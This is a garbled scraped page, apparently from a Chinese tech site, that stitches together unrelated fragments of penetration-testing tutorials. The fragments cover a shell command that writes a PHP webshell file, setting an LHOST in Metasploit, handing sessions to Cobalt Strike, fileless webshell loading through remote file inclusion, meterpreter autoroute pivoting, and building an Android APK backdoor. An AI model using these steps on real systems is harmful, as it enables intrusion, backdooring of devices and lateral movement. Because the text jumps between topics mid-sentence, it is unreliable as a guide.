cat shell.php | pbcopy && echo ‘<?php ‘ | tr -d ‘\n‘ > shell.php && pbpaste >> shell.php
msf exploit > set LHOST 192.168.229.143. 之后使用Cobalt Strike创建一个。其中ip为msf的ip地址，端口为msf所监听的端口。然后选中计算机，右键->Spawn，选择刚刚创建的监听器：。
目标设备存在远程文件包含漏洞或者命令注入漏洞，想在目标设备上加载webshell，但不想在目标设备硬盘上留下任何webshell文件信息。此模块支持在本地监听一个端口，别人一旦访问该端口就会将该端口内的文件读取至本地执行。
run autoroute -s 100.0.0.0/8 # 添加路由。一般来说，在meterpreter中设置路由便可以达到通往其内网的目的。然而有些时候还是会失败，这时我们可以background返回msf>，查看下外面的路由情况。msf&
这时可以在第二个终端中获得一个meterpretersession
扫盲教程，大佬勿喷。实验中请更改为你环境的IP。启动kali，开终端，生成apk后门。仅有9.2k的apk，也是蛮吊。No Arch selected, selecting Arch: dalvik from the payload. No encoder
安科网(Ancii)，中国第一极客网
Copyright © 2013 - 2019 Ancii.com
京ICP备18063983号-5 京公网安备11010802014868号